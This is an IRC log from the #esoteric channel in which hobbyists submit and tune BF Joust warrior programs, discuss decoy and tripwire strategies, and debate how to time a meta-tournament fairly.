07:09:17 <myndzi> i couldn't geet code like that to work
07:09:19 <myndzi> congrats ;p
07:09:55 <myndzi> that's kinda what i wanted to do with careful but i wasn't having much luck writing it properly... or at least i didn't think that such ridiculous exponential expansion would fly
07:18:40 -!- asiekierka has joined.
07:48:30 <myndzi> oooh i have what could be a pretty good idea
07:48:36 <myndzi> why do i have such ideas when i'm trying to sleep though?!
07:48:49 <myndzi> it's actually more of an extension of an idea but whatever
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
09:18:37 -!- copumpkin has quit (Ping timeout: 255 seconds).
09:19:04 -!- copumpkin has joined.
10:05:50 -!- oerjan has joined.
10:09:56 -!- MigoMipo has joined.
10:11:17 <oerjan> <elliott> Gregor: Hmm, yeah. That's weird... uh, you realise that by loop stack I mean [] loop stack?
10:12:32 <oerjan> technically you don't need a loop stack either, you could save the current count somewhere associated with the loop, since it cannot be entered twice simultaneously. not that that is any simpler.
10:13:02 <oerjan> *a () loop stack
10:13:22 <oerjan> well, for running. for parsing is a different matter.
10:13:51 <oerjan> (you need two stacks for parsing, although one could be replaced with recursion.)
10:18:51 <oerjan> <elliott> Gregor: Would you hold it against me if I used an actual parser generator for lance rather than hacking up this awful thing? X-D <-- ah. that may be a problem since the language isn't CF. (see previous comment)
10:20:16 <oerjan> well, i guess you could use a parser generator for one half, and track the ({}) matching separately.
10:26:55 <oerjan> <elliott> quintopia: the debate is: does a language have to have a simulator for /all/ Turing machines to be TC, or is a simulator for just one enough? <-- note that commonly accepted TC models where the input must be encoded into the program, such as the lambda calculus, cannot possibly make a meaningful distinction between these
10:28:33 <oerjan> i.e. in my view this distinction is wholly based on fixing a particular notion of I/O for the model, something which may be an absurd restriction for purely mathematical models.
10:29:04 <oerjan> although turing machines themselves do have a distinction between program and tape
10:29:48 <oerjan> *between machine and tape
10:31:53 -!- copumpkin has quit (Ping timeout: 245 seconds).
10:32:18 -!- copumpkin has joined.
10:32:42 <oerjan> 02:34:20 <elliott> quintopia: when questioned he has been
10:32:42 <oerjan> 02:34:21 <elliott> EXCEEDINGLY
10:32:42 <oerjan> 02:34:23 <elliott> ELUSIVE
10:32:59 <oerjan> conclusion: he composes electronic music for porn films
10:39:50 -!- FireFly has joined.
10:52:25 -!- BeholdMyGlory has joined.
10:59:12 <oerjan> <elliott> Gregor: So let me get this straight. ( pushes 0 on one stack, and its iteration count on another stack. } checks the first stack; if it's reached the iteration count, it's a nop (no popping), otherwise, it increments the value on top of the first stack, and goes back after the matching (.
10:59:37 <oerjan> argh you must pop if you want to support my beautiful (({{}})*)* notation :(
10:59:59 <oerjan> (in {)
11:01:43 <oerjan> also, only one stack
11:22:16 -!- FireFly has quit (Quit: swatted to death).
11:26:51 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:27:13 -!- cheater- has joined.
11:33:37 <oerjan> ok i'm trying to find an example that (({{}})%)% is actually useful
11:34:02 <oerjan> so the first program i downloaded the other day, ais523_attack7.bfjoust
11:34:02 <oerjan> (>)*5(+)*40<(-)*40(>)*4(>[+[+[+[+[-----[-[-[-[-](-)*122[-.]]]]]]]]])*21
11:34:57 <oerjan> (first alphabetically, that is)
11:35:41 <Ilari> Huston estimate for APNIC depletion is August 15th. Has been coming nearer in last few days.
11:36:47 -!- cheater- has quit (Ping timeout: 240 seconds).
11:37:24 <oerjan> nah fuck that doesn't need more than ordinary ({}) :(
11:37:57 -!- cheater- has joined.
11:38:51 -!- Tritonio has joined.
11:41:14 -!- asiekierka has quit (Ping timeout: 255 seconds).
11:45:14 -!- Tritonio has quit (Quit: Leaving).
12:23:10 -!- cheater- has quit (Ping timeout: 240 seconds).
12:24:14 -!- cheater- has joined.
12:35:19 <oerjan> jix_wiggle2 would have been a good candidate for (({{}})) if it was slightly more ordered instead of trying that hard to be unpredictable
12:41:37 <oerjan> well at least i am assuming it is unpredictable, i didn't look at _that_ much of it
12:44:34 * oerjan tries simplifying with s///
12:52:31 -!- asiekierka has joined.
12:53:36 -!- cheater- has quit (Ping timeout: 240 seconds).
12:53:44 -!- cheater00 has joined.
12:58:29 <oerjan> basically, if there is a pattern to how jix alternates the +, - and other things in there, then it probably can use (({{}})%)% for simplification, but if it's not repetitive then it cannot.
12:58:59 <oerjan> (there are obvious patterns, but they seem to have a random element at first glance)
13:33:32 -!- oerjan has quit (Quit: Lost terminal).
14:25:34 -!- iconmaster has joined.
15:04:46 <Gregor> oerjan: Why are you not here now :P
15:05:02 <Gregor> high_fructose_corn_philip's canonical implementation uses (({{}}))
15:05:33 <Gregor> Works on egojsout, but not egojoust
15:11:01 -!- ais523_ has joined.
15:14:34 <Gregor> ais523_: Y'know you're all the way down to fifth now, right?
15:14:38 <Gregor> ais523_: You gonna take that? :P
15:14:50 <ais523_> maybe I'll have to, I'm kind-of busy at work
15:14:56 <ais523_> besides, I care more about playing than winning
15:17:04 -!- copumpkin has quit (Ping timeout: 240 seconds).
15:17:09 -!- Behold has joined.
15:17:30 -!- copumpkin has joined.
15:21:04 -!- BeholdMyGlory has quit (Ping timeout: 272 seconds).
15:22:58 -!- olsner has quit (Ping timeout: 272 seconds).
15:23:35 <Vorpal> Gregor, "egojsout"?
15:23:52 <Gregor> Vorpal: http://codu.org/eso/bfjoust/egojsout/
15:24:01 -!- Sgeo_ has quit (Read error: Connection reset by peer).
15:24:15 <Vorpal> <ais523_> besides, I care more about playing than winning <--- what, someone actually believes that playing is more important than winning
15:24:34 <Vorpal> ais523_, you know what. Sometimes you remind me of Carrot from the Discworld books.
15:24:52 <ais523_> Vorpal: but I don't know the name of everyone in the universe
15:25:36 <Vorpal> ais523_, indeed. But in many other aspects...
15:26:45 <Vorpal> ais523_, you seem to act the way everyone think is a good idea but no one does. Like believing that playing is more important than winning. Everyone says that. But very few actually act like they really think that.
15:27:05 <ais523_> well, it depends on where the interest of the game is
15:27:24 <ais523_> I play nomic to win, not because I like winning for the sake of it, but because the win conditions are normally designed to be things that are interesting to aim for
15:27:44 <ais523_> but I tend to value manipulating a win for someone else as highly as manipulating a win for myself
15:27:48 <ais523_> as it takes the same sort of skill
15:28:01 <Vorpal> hah
15:29:44 -!- Zuu has quit (Ping timeout: 260 seconds).
15:33:45 <Gregor> !bfjoust sucralose_philip http://sprunge.us/dVNA
15:34:50 * Gregor has high hopes for sucralose_philip :)
15:35:14 -!- olsner has joined.
15:35:57 <fizzie> Incidentally, I did a silly little egojoust-implementation experiment too: http://p.zem.fi/5zkw + http://p.zem.fi/bd54 [the name is a bit stolen from elliott and far too pompous, but try to disregard that]
15:35:58 -!- p_q has joined.
15:36:25 <EgoBot> Score for Gregor_sucralose_philip: 56.0
15:36:32 <Gregor> fizzie: egojoust IS an implementation, surely you either mean "bfjoust-implementation" or "egojoust-reimplementation"
15:36:39 <fizzie> Yes, the latter.
15:36:54 <Gregor> Bahahaha, even less points than HFCP, even higher score (though not by much)
15:37:05 <fizzie> Since it does egojoust-specificly the all-tape-lengths-and-polarity-flippery thing.
15:37:36 <Gregor> Pff, that should be considered canonical BF Joust now :P
15:37:55 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
15:38:23 <Gregor> !bfjoust sugar_philip <
15:38:39 <EgoBot> Score for Gregor_sugar_philip: 0.0
15:38:45 <ais523_> it's nice to see an esolang evolve
15:40:20 <Gregor> It's also nice to see my competitors dominate the hill >: )
15:41:15 <ais523_> I want to do another defend9-based program sometime, I think it could do quite well
15:41:32 <ais523_> adjusted to work versus current strategies rather than really old strategies
15:41:38 <fizzie> Uh, how do you read ">: )"? Noseless with horns, or uncanonical-orientation sharp-frowny highbrow?
15:41:39 <ais523_> but not now, as you can tell from my nick I'm not on my own computer
15:42:27 <Gregor> fizzie: Smiley with evil eyebrows
15:42:50 <fizzie> But the... the empty space where your nose should be. Surely that's not a normal face.
15:42:52 <Gregor> I make it noseless so that clients that turn :-) into a graphical smiley don't turn >:-) into a horrible abomination.
15:43:23 <fizzie> I guess that makes 'sense'.
15:49:19 <Gregor> !bfjoust julius_freezer (+(-)*2(+)*3(-)*5(+)*7(-)*11(+)*13(-)*17)*100000
15:50:11 -!- Sgeo has joined.
15:50:19 <EgoBot> Score for Gregor_julius_freezer: 20.6
15:51:19 <Gregor> Better than I expected.
15:51:34 <Gregor> It also inverted HFCP and sucralose_philip :P
15:51:54 <Gregor> Oh, that's in third-to-last place X-P
15:51:58 <Gregor> I guess I'll just let it die :P
15:52:18 <ais523_> is that yet another shudderer?
15:53:44 <Gregor> Yeah, just wanted to see if things had changed w.r.t. other strategies :P
15:54:01 <Gregor> Since I know that both the turtles and the philips don't do well against shuddering.
15:55:54 <ais523_> how do the phillips work?
15:57:08 -!- BeholdMyGlory has joined.
15:57:29 <Gregor> They try to adjust the cell within a small range (+-8ish?) using []-loops, and if that fails they try a turtle-style thoughtless addition. sucralose_philip additionally switches to steamroller if it finds four big decoys.
15:58:47 <ais523_> ah, that's more or less how decoytuner works
15:59:09 <ais523_> it's hard coming up with genuinely innovative ideas nowadays; rule_of_nine was one, but it's rubbish
15:59:24 -!- Behold has quit (Ping timeout: 255 seconds).
15:59:48 <ais523_> (the idea was to look at where an opponent attacked to deduce the location of its flag, because nearly all programs start attacking nine squares from their flag, where the first possible location for the enemy flag is)
16:00:08 <Gregor> Hm
16:00:15 <Gregor> If their attack is []'d though, that's borklebork :P
16:00:33 <ais523_> !bfjoust oneway_shudder (+++++++++++++++)*1000
16:00:51 <Gregor> Curious way to write that :P
16:00:53 <ais523_> Gregor: well, it had to try to set a decoy on every cell of the tape in order to get round the problem
16:00:58 <ais523_> and I think that's where the issue is
16:00:59 <Gregor> I think I made that as spin_me_right_round at one point.
16:01:11 <ais523_> Gregor: someone told me that egojoust cut off repeats after a while
16:01:24 <EgoBot> Score for ais523__oneway_shudder: 13.0
16:01:35 <ais523_> !bfjoust oneway_shudder ((((((+)*10)*10)*10)*10)*10)*10
16:01:40 <Gregor> ais523_: 100K
16:01:40 <ais523_> let's make sure
16:02:18 <ais523_> I want to see the amazing drawing ability of that program
16:02:27 <ais523_> in particular, what it draws to on one polarity, and what it loses against
16:02:27 <Gregor> lol
16:03:12 <EgoBot> Score for ais523__oneway_shudder: 13.1
16:03:47 <Gregor> !bfjoust lead_acetate_philip http://sprunge.us/RBIF
16:04:01 <ais523_> Gregor: note the difference in score between the two versions
16:04:01 <EgoBot> Score for Gregor_lead_acetate_philip: 54.2
16:04:09 <Gregor> ais523_: It was running on a different hill.
16:04:22 <ais523_> well, OK
16:04:29 <Gregor> !bfjoust sucralose_philip <
16:04:42 <EgoBot> Score for Gregor_sucralose_philip: 0.0
16:05:01 <Gregor> Somehow that let wireless_frownie back into spot #2 :P
16:05:04 <ais523_> btw, some turtle names that IIRC you haven't used yet: strapping; scrapping; slapping
16:05:05 <Gregor> Maybe I want to undo that X-D
16:05:15 <Gregor> I'm done with turtles though :P
16:05:19 <fizzie> !bfjoust lostkng http://p.zem.fi/lostkng
16:05:24 <fizzie> (The most sensible thing.)
16:05:25 <Gregor> fizzie: lawl
16:05:33 <ais523_> that actually made me laugh out loud
16:05:49 <ais523_> good thing I'm the only person in the office right now (= good thing it's Saturday)
16:06:17 <quintopia> what is lostkng?
16:06:23 <EgoBot> Score for fizzie_lostkng: 0.4
16:06:27 <Gregor> quintopia: Run it in a standard BF interpreter.
16:06:27 <quintopia> a game?
16:06:29 <ais523_> wow, lostkng's beating more or less everything on tape lengths 11 and 14
16:06:31 <fizzie> Ooh, a non-zero score.
16:06:41 <ais523_> and losing to most things on most other tape lengths
16:06:42 <quintopia> Gregor: i don't wanna. just tell me what it was?
16:07:06 <ais523_> it's a text adventure
16:07:13 <quintopia> that was my guess
16:07:16 <ais523_> a rather difficult one, too; I never got very far in it
16:07:24 <Gregor> !bfjoust sucralose_philip http://sprunge.us/dVNA
16:07:30 <quintopia> wasn't it the longest BF program ever written?
16:07:36 <Gregor> But it wasn't written..
16:07:40 <EgoBot> Score for Gregor_sucralose_philip: 51.8
16:07:42 <fizzie> I did remove the [-][.] part that it had in the start.
16:07:43 <Gregor> !bfjoust lead_acetate_philip <
16:07:46 <ais523_> it was generated
16:07:55 <EgoBot> Score for Gregor_lead_acetate_philip: 0.0
16:08:07 <Gregor> Heywhatthe D-8
16:08:13 <Gregor> NO LEAD ACETATE PHILIP I NEEEEEEEED YOOOOOOOOU
16:08:21 <Gregor> !bfjoust lead_acetate_philip http://sprunge.us/RBIF
16:08:21 <quintopia> Gregor: auto-generated?
16:08:29 <Gregor> quintopia: Compiled.
16:08:31 <EgoBot> Score for Gregor_lead_acetate_philip: 53.6
16:08:34 <Gregor> !bfjoust sucralose_philip <
16:08:49 <EgoBot> Score for Gregor_sucralose_philip: 0.0
16:09:54 <ais523_> !bfjoust anti_decoybooster (>)*8(>[[>]>((-)*120(.-)*16)*20])*21
16:10:08 <EgoBot> Score for ais523__anti_decoybooster: 0.0
16:10:13 <Gregor> ...???
16:10:15 <ais523_> ouch, that bad?
16:10:16 <quintopia> huh
16:10:42 <ais523_> apparently it loses to decoybooster
16:10:49 * ais523_ debugs
16:10:53 <quintopia> you were trying to beat the ones that put decoys in reverse order?
16:11:32 <ais523_> oh, I see
16:11:33 <ais523_> quintopia: yep
16:12:11 <ais523_> !bfjoust anti_decoybooster (>)*8(>[[>](>[(-)*120[-]])*20])*21
16:12:25 <EgoBot> Score for ais523__anti_decoybooster: 10.0
16:12:31 <ais523_> hmm, should probably have a double tripwire there
16:12:40 <ais523_> ah no, it isn't necessary
16:12:45 <Gregor> !bfjoust tape_length_15_ahoy >>>>>>>>>>>>>(-)*128.([-]>)*16
16:12:48 <Gregor> Best - idea - ever
16:13:07 <quintopia> bindun
16:13:12 <EgoBot> Score for Gregor_tape_length_15_ahoy: 1.4
16:13:17 <Gregor> YAY
16:13:25 <Gregor> quintopia: INB4STFU
16:13:29 <ais523_> !bfjoust anti_decoybooster (>)*5(>[[>](>[(-)*120[-]])*10])*24
16:13:44 <EgoBot> Score for ais523__anti_decoybooster: 15.0
16:13:49 <ais523_> just realised that if I'm detecting decoys, I probably shouldn't be skipping them...
16:14:36 <quintopia> goodpoint :P
16:15:03 <quintopia> experiment time!
16:15:14 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*127<(+)*127)*2<(-)*17(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>)*21
16:15:27 <quintopia> this one does beat hfcp but i dunno if it does well
16:15:42 <EgoBot> Score for quintopia_wireless: 49.6
16:15:51 * Gregor shakes his fist.
16:15:53 <quintopia> ah not so well :P
16:16:06 <Gregor> quintopia: No, but its defeating HFCP twiddled the leaderboard.
16:16:24 <Gregor> (I needed those points :P )
16:16:26 <ais523_> !bfjoust triple_tripwire_avoider (>[>>(>(-)*120[-])*21])*29
16:16:37 <ais523_> let's see how well large tripwire avoiders do on the current hill
16:16:37 <quintopia> lap is till winning!
16:16:39 <EgoBot> Score for ais523__triple_tripwire_avoider: 10.8
16:16:52 <ais523_> !bfjoust double_tripwire_avoider (>[>(>(-)*120[-])*21])*29
16:17:06 <EgoBot> Score for ais523__double_tripwire_avoider: 23.8
16:18:15 <Gregor> Not bad
16:18:15 <ais523_> !bfjoust double_tripwire_avoider (>)*4(>[>(>(-)*120[-])*21])*22(>++[-])*3
16:18:30 <EgoBot> Score for ais523__double_tripwire_avoider: 20.0
16:18:36 <ais523_> hmm, I wonder why that did worse?
16:18:50 <quintopia> Gregor: 17 is actually the smallest thing i can decrement my flag by and still beat hfcp. it's not vulnerable to small changes in timing at all
16:19:03 <ais523_> !bfjoust double_tripwire_avoider (>)*4(>[>(>(-)*120[-])*21])*23(>++[-])*2
16:19:18 <EgoBot> Score for ais523__double_tripwire_avoider: 20.9
16:19:27 <ais523_> !bfjoust double_tripwire_avoider (>)*3(>[>(>(-)*120[-])*21])*24(>++[-])*2
16:19:45 <EgoBot> Score for ais523__double_tripwire_avoider: 21.0
16:19:57 <ais523_> !bfjoust double_tripwire_avoider (.)*32(>)*4(>[>(>(-)*120[-])*21])*23(>++[-])*2
16:20:02 <ais523_> just trying an idea here...
16:20:09 <EgoBot> Score for ais523__double_tripwire_avoider: 20.1
16:20:12 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*127<(+)*127)*2<(-)*11(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>)*21
16:20:17 <quintopia> there you go. back how it was.
16:20:18 <ais523_> !bfjoust double_tripwire_avoider (+)*32(>)*4(>[>(>(-)*120[-])*21])*23(>++[-])*2
16:20:34 <EgoBot> Score for quintopia_wireless: 48.7
16:20:35 <EgoBot> Score for ais523__double_tripwire_avoider: 20.1
16:20:47 <quintopia> huh. that does worse. :P
16:20:56 <Gregor> quintopia: You've gotta stop wandering DOWN the hill :P
16:21:00 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*127<(+)*127)*2<(-)*17(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>)*21
16:21:04 <quintopia> FINE
16:21:16 <ais523_> Gregor_high_fructose_corn_philip.bfjoust vs ais523__double_tripwire_avoider.bfjoust: >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> ais523__double_tripwire_avoider.bfjoust wins
16:21:25 <EgoBot> Score for quintopia_wireless: 50.6
16:21:31 <Gregor> ais523_: You make me sad :P
16:21:46 <Gregor> quintopia: Uhh ... proceed wandering down the hill ...
16:21:51 <ais523_> it also beats one of the turtles and ties with the other one
16:22:12 <Gregor> ais523_: And lead_acetate_philip?
16:22:23 <quintopia> !bfjoust i_like_turtles (+)*17>>>>(+)*33<(-)*65<(+)*91<(-)*128>>>>>>>>([-[++[(+)*15[.-]]]]>)*21
16:22:26 <ais523_> beats it on all 42 configs too
16:22:43 <EgoBot> Score for quintopia_i_like_turtles: 53.1
16:22:57 <Gregor> Oh I see, we're playing the arms-race game :P
16:23:00 <quintopia> Gregor: just for you, i'm not going to tweak wireless_frownie
16:23:15 <ais523_> quintopia: I still think 85 is the optimal height for a large decoy
16:23:26 <ais523_> if you make it any taller, on average you help the opponent if they guess the wrong polarity
16:23:43 <quintopia> yes that's true
16:23:43 <ais523_> but perhaps I'm wrong in that
16:23:50 <quintopia> no i think that's right
16:24:16 <ais523_> my defend9 variant will probably use a height-85 decoy too, as it produces the most clear-cut timing differences
16:24:33 <ais523_> although it'd be confused by an offset clear of height 28 or more
16:24:56 <ais523_> perhaps I can design defence mechanisms that work best against the detected height, but well against the next-nearest
16:24:58 <quintopia> ais523_: couldn't you put a small decoy in front of your large decoy to check the offset size?
16:25:03 * Gregor is unsure where to go with lead_acetate_philip :P
16:25:19 <ais523_> that makes you vulnerable to turtle-style programs, as they look like a really large offset clear and then go destroy your flag
16:25:24 <Gregor> 986: 2 <00 8F 6F 83 7B 83 7B 04 FC 01 01 01 01 01 01 01 01 01 01 01 01 01 01 6B 6B 01 80 >05 0 LAAAAAAAAAAAAAAAAME
16:25:56 <quintopia> Gregor: egojsout should do that
16:26:14 <Gregor> It ... does?
16:26:21 <quintopia> Gregor: print "LAAAAAAAAAAAAAAME" on the last line
16:26:23 <quintopia> every time
16:26:25 <Gregor> Ahhhh :P
16:27:06 <ais523_> !bfjoust double_tripwire_avoider (+)*32(>)*4(>[>(>[(-)*120[-]])*21])*23(>++[-])*2
16:27:22 <EgoBot> Score for ais523__double_tripwire_avoider: 39.5
16:27:33 <ais523_> I added a defence detector and reverse-decoy detector
16:28:05 <quintopia> ais523_: why is 85 better than 128 for regular offset clears? is it only better when turtle-style programs are taken into account?
16:28:46 <ais523_> it's because you don't know what polarity the opponent's aiming at; 128 means you don't punish them for being on the wrong polarity
16:29:09 <ais523_> so the extra time you spent setting up the flag is useless, as it takes them an average of 256 to clear from both 85 and 128
16:29:20 <ais523_> (85 means it takes twice as long to clear "backwards" as "forwards")
16:29:22 <ais523_> *setting up the decoy
16:29:34 <quintopia> hmm
16:30:33 <quintopia> Gregor: write a philip program that quick decrements by 85 before doing the slow clear. it's gonna be the next big thing.
16:30:44 <Gregor> :P
16:31:38 <ais523_> !bfjoust double_tripwire_avoider (+)*32(>)*4(>[>(>[(-)*120[-.]])*21])*23(>++[-])*2
16:31:41 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*85<(+)*85)*2<(-)*17(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>)*21
16:31:58 <ais523_> just seeing if a three-cycle clear makes any difference, although I doubt it will as dodging tripwires generally beats defence anyway
16:32:23 <EgoBot> Score for quintopia_wireless: 55.9
16:32:24 <EgoBot> Score for ais523__double_tripwire_avoider: 37.8
16:32:34 * quintopia shakes ais523_'s hand
16:32:40 -!- Zuu has joined.
16:32:44 <quintopia> as usual, sir, you are spot on
16:33:04 <ais523_> yep, it's better faster
16:33:20 <ais523_> !bfjoust double_tripwire_avoider (+)*32(>)*4(>[>(>[+[--[(-)*120[-]]]])*21])*23(>++[-])*2
16:33:25 <ais523_> let's dodge trails too
16:33:36 <EgoBot> Score for ais523__double_tripwire_avoider: 45.3
16:33:42 <ais523_> as they're the most likely reason for an enemy to have set up lots of decoys
16:33:43 <quintopia> nice
16:34:14 <ais523_> up there with defend13, now
16:34:23 <quintopia> careless jumped up i think
16:34:28 <ais523_> is that the highest a tripwire-avoider's ever got?
16:34:55 <quintopia> it's not really a relevant question :P
16:35:08 <ais523_> well, they always used to do badly
16:35:11 <quintopia> it's the only tripwire avoider on the hill
16:35:18 <Gregor> ais523_: "(>)*9([(-)*128>])*21" vs ".", who SHOULD win?
16:35:36 <quintopia> and it's unlike any other tripwire avoider in many way
16:35:58 <ais523_> so left program, marginally
16:35:58 <ais523_> Gregor: draw on all tape lengths but 10, left program wins on length 10 regardless of polarity
16:36:01 <quintopia> Gregor: the nop
16:36:11 <Gregor> ais523_: wtf, why does left program win on 10?
16:36:11 <quintopia> (it doesn't suicide)
16:36:27 <quintopia> oh
16:36:28 <ais523_> oh right, left program loses
16:36:28 <quintopia> wait
16:36:29 <ais523_> as the > is suicide
16:36:34 <ais523_> and draw on other tape lengths
16:36:40 <quintopia> the > is inside the brackets
16:36:45 <Gregor> It suicides on ANY tape length.
16:36:46 <ais523_> yep
16:36:53 <Gregor> However, it does that on the second flag-down turn.
16:36:57 <ais523_> no it doesn't, on other tape lengths it just does repeated [] loops
16:37:01 <ais523_> and doesn't move
16:37:07 <quintopia> it only suicides on tape 10
16:37:15 <ais523_> as there's no < or > except inside the square brackets, apart from the first 9
16:37:20 <Gregor> Ohyeah :P
16:37:27 <Gregor> "(>)*9([(-)*128>]>)*21" then :P
16:37:38 <quintopia> now it always suicides
16:38:01 <Gregor> So a suicide, even as the flag is down for the second turn, is a loss?
16:38:18 <ais523_> yep, at least as egojoust implements it
16:38:20 <quintopia> you left the > inside the bracket
16:38:31 <quintopia> take that out and it won't
16:38:45 <ais523_> because the > happens during the turn, whereas flag loss is measured at the end of the turn
16:38:58 <ais523_> I can see an argument for making it considered a draw, though
16:39:06 <Gregor> It's a draw in egojsout X-P
16:39:21 <ais523_> ah, hmm, the documentation on the wiki implies it should be a draw
16:39:31 <quintopia> i disagree. i think dying at someone else's hands is marginally smarter than suiciding
16:39:34 <ais523_> I doubt it comes up very often
16:41:00 <quintopia> we almost had the shudders pushed off the board at some point (vorpal's copy is actually gone), and now they've started climbing again
16:41:08 <quintopia> i blame gregor
16:41:33 <quintopia> he could modify philip so it beats shudder but NOOOOOO
16:41:44 <ais523_> well, it's a valid strategy
16:41:55 -!- FireFly has joined.
16:42:01 <ais523_> also, what's with the topic?
16:42:07 <Gregor> I have no idea :P
16:43:04 -!- Gregor has set topic: Topic revoked under DMCA by the Department of Homeland Security | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
16:43:37 -!- quintopia has set topic: tripwires and turtles and tuners, oh my! | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
16:43:40 <quintopia> A TOPIC
16:43:43 <quintopia> THAT IS ACTUALLY TOPICAL
16:43:49 <ais523_> oh, I like that topic
16:43:54 <quintopia> for the first time in #esoteric history, i'm sure
16:44:24 <ais523_> Gregor_quapping_turtle.bfjoust vs ais523__double_tripwire_avoider.bfjoust: >>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>> Tie
16:44:28 <ais523_> that one's interesting...
16:44:34 <quintopia> huh
16:45:16 <Gregor> quintopia: My canonical topic that was here for a fair while was Welcome to #esoteric, the international hub for esoteric programming language design and deployment - #esoteric is not associated with the joke language Perl, for that language please visit www.perl.org or #perl - logs: http://tunes.org/~nef/logs/esoteric/?C=M;O=D
16:45:18 <fizzie> Incidentally, I think the report table looks marginally more interesting like http://p.zem.fi/erep this, since you can sort-of see how the +'s and -'s cluster in their own separate halves.
16:45:52 <Gregor> fizzie: I had actually thought about that.
16:46:00 <quintopia> Gregor: i think that was the topic when i first came here
16:46:03 <ais523_> oh, it seems quapping turtle reaches the flag first by miles, but the flag adjustment I did to waste time causes it to die on one polarity
16:47:02 <ais523_> I'd like to see an organisation of "similar" programs, determined via programs that beat similar sets of programs
16:47:07 <quintopia> Gregor: moving the program numbers to the right side of the table would improve readability immensely. it's very difficult to trace the line from a - up to a number, find the number on the left, and then trace back to the right again.
16:47:09 <ais523_> but I'm not sure how you'd do that
16:47:15 <ais523_> it probably involves eigenvectors or something
16:47:22 <quintopia> ais523_: edit distances on win/loss records
16:47:38 <quintopia> erm
16:47:42 <quintopia> not even edit distances
16:47:49 <ais523_> quintopia: I mean, saying "this program is 50% group A, 25% group B, 25% group C"
16:47:51 <quintopia> L1 distance would work just as well
16:47:54 <ais523_> and we then identify what the groups are
16:48:04 <ais523_> I think that's what eigenvectors do
16:48:04 <quintopia> oh
16:48:06 <Vorpal> <quintopia> he could modify philip so it beats shudder but NOOOOOO <-- why do you hate shudders!?
16:48:10 <quintopia> yeah, that seems hard
16:48:16 <Vorpal> quintopia, what have they done to you?
16:48:36 <quintopia> Vorpal: i don't. i just want every program on the hill to do well against such a simple and mindless strategy.
16:48:49 <quintopia> that's the whole reason they exist, isn't it?
16:48:56 <Vorpal> quintopia, "mindless". Harsh words.
16:49:33 <fizzie> ais523_: There's a bazillion ways to do clustering (also soft clustering where you get partial membership values), and, well, not all of them involve eigenvectors/values. Spectral clustering does, though.
16:49:36 <quintopia> it doesn't contain a single [ anywhere. therefore, it doesn't really "think"
16:50:05 <Gregor> !bfjoust i_regret_everything (-)*127>(+>)*8([-]>)*21
16:50:21 <Vorpal> quintopia, none of them think!
16:50:28 <quintopia> FINE
16:50:38 <Vorpal> quintopia, and it contains no [ for speed reasons
16:50:39 <fizzie> (-)*127 sounds like quite a start.
16:50:46 <quintopia> Gregor: what would the rules be for the metabfjoust tournament?
16:51:04 <EgoBot> Score for Gregor_i_regret_everything: 15.1
16:51:09 <Vorpal> quintopia, making the best bfjoust tournament?
16:51:13 <Vorpal> (that's quite meta)
16:51:15 <Gregor> quintopia: I haven't fully decided, that's why I haven't made them. The BFJoust runs themselves would be identical.
16:51:23 <quintopia> obv
16:51:40 <Gregor> quintopia: I want to make it fair in terms of runtime, which makes me consider requiring submission of something that can have a canonical cycle count.
16:51:57 <ais523_> careless and Nyarlathotep also contain no [, IIRC
16:52:02 <Gregor> Like MIPS binaries or something. I could make it "easier" by allowing you to submit C if you aren't as concerned about cycle counts. I just want it to be 100% consistent.
16:52:02 <quintopia> but deciding how many programs each program gets to try against each competitor so as to give it time to "learn" the other program's "strategy" seems the main thing here
16:52:30 <Gregor> Well I'd give you plenty of cycles, I just can't solve the halting problem is all :P
16:52:36 <quintopia> Gregor: fuck that. measure time in ms like everyone else :P
16:53:04 <Vorpal> Gregor, cycle count is better IMO
16:53:36 <fizzie> Z80 binaries, since that seems to be the thing people spend large amount of time golfing, too.
16:53:57 <Gregor> quintopia: That creates nondeterminism. Nondeterminism is bad.
16:54:08 <Gregor> fizzie: I'd like something that's easy to compile C to :P
16:54:21 <quintopia> Gregor: as long as all the programs are in a reasonably fast language and running on the same computer and don't run simultaneously (or if they do, run on different cores), the cycle count differences will be insignificant
16:54:48 <Gregor> quintopia: Nice theory.
16:54:53 <Gregor> quintopia: It's completely wrong, but it's a nice theory.
16:54:57 <Vorpal> quintopia, incorrect
16:55:02 <quintopia> Gregor: esp. if you dedicate a CPU entirely to them and don't let anything else run on them.
16:55:14 <Vorpal> quintopia, do you know about L3 cache?
16:55:23 <fizzie> Gregor: Well, 6502 asm and cc65, that's "C".
16:55:26 <Vorpal> I have to presume you don't
16:55:37 <Gregor> That might be borderline-correct if you were on a realtime system, but aside from everything else, Codu is a friggin' VM running Linux. Just no.
16:55:57 <Vorpal> quintopia, L3 cache is shared between cores.
16:56:03 <quintopia> Vorpal: why is cache going to play a factor here. we don't expect to be accessing a lot of memory for this game.
16:56:05 <Vorpal> or even CPUs in some design
16:56:21 <Vorpal> quintopia, it will possibly stall cache still
16:56:24 <Vorpal> it might happen
16:56:34 <Vorpal> thus non-determinism
16:57:10 <quintopia> alright
16:57:16 <Vorpal> quintopia, beside depending on heat the actual clock frequency will vary a bit
16:57:34 <quintopia> let's run the tournament on an arduino :P
16:57:40 <Vorpal> quintopia, why that one
16:58:01 <quintopia> i just picked a popular chip that's reasonably priced and can be compiled to from C
16:58:17 <Gregor> The idea is to simulate.
16:58:21 <Vorpal> quintopia, arduino is not a chip. It is a development board.
16:58:22 <Gregor> That way I can count cycles.
16:58:29 <Vorpal> quintopia, arduino uses the AVR chip
